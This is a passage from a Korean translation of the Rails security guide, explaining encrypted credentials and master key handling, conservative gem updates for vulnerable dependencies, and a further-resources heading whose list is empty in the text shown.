애플리케이션 코드와 환경을 보호하는 방법을 알려주는 것은 이 가이드의 범위를 벗어납니다. 하지만 config/database.yml, credentials.yml의 마스터 키, 그리고 다른 암호화되지 않은 비밀들과 같은 데이터베이스 구성을 보호하세요. 민감한 정보가 포함될 수 있는 이러한 파일들과 다른 파일들에 대해 환경별 버전을 사용하여 접근을 더욱 제한할 수 있습니다.

10.1 사용자 정의 Credentials

Rails는 secrets를 config/credentials.yml.enc에 저장하며, 이는 암호화되어 있어 직접 편집할 수 없습니다. Rails는 credentials 파일을 암호화하기 위해 config/master.key 또는 환경 변수 ENV["RAILS_MASTER_KEY"]를 사용합니다. credentials 파일이 암호화되어 있기 때문에, master key를 안전하게 보관하는 한 버전 관리 시스템에 저장할 수 있습니다.

기본적으로 credentials 파일은 어플리케이션의 secret_key_base를 포함하고 있습니다. 또한 외부 API의 access key와 같은 다른 secrets를 저장하는 데도 사용할 수 있습니다.

credentials 파일을 편집하려면 bin/rails credentials:edit 명령어를 실행하세요. 이 명령어는 credentials 파일이 존재하지 않을 경우 파일을 생성합니다. 또한 master key가 정의되어 있지 않은 경우 config/master.key를 생성합니다.

credentials 파일에 보관된 secrets는 Rails.application.credentials를 통해 접근할 수 있습니다. 예를 들어, 다음과 같이 복호화된 config/credentials.yml.enc가 있다면:

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key"SOMEKEY"를 반환합니다. Rails.application.credentials.system.access_key_id"1234AB"를 반환합니다.

만약 어떤 key가 비어있을 때 exception이 발생하기를 원한다면, bang 버전을 사용할 수 있습니다:

# some_api_key가 비어있을 때...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

credentials에 대해 더 알아보려면 bin/rails credentials:help를 실행하세요.

master key를 안전하게 보관하세요. master key를 커밋하지 마세요.

11 Dependency Management와 CVE들

새로운 버전 사용을 권장하기 위해 단순히 dependency를 업데이트하지는 않습니다(보안 이슈의 경우에도 마찬가지입니다). 이는 애플리케이션 소유자가 우리의 노력과 관계없이 수동으로 gem을 업데이트해야 하기 때문입니다. 취약한 dependency를 안전하게 업데이트하려면 bundle update --conservative gem_name을 사용하세요.

12 추가 리소스

보안 환경은 계속 변화하므로 최신 상태를 유지하는 것이 중요합니다. 새로운 취약점을 놓치면 치명적일 수 있기 때문입니다. (Rails) 보안에 대한 추가 리소스는 다음에서 찾을 수 있습니다:



맨 위로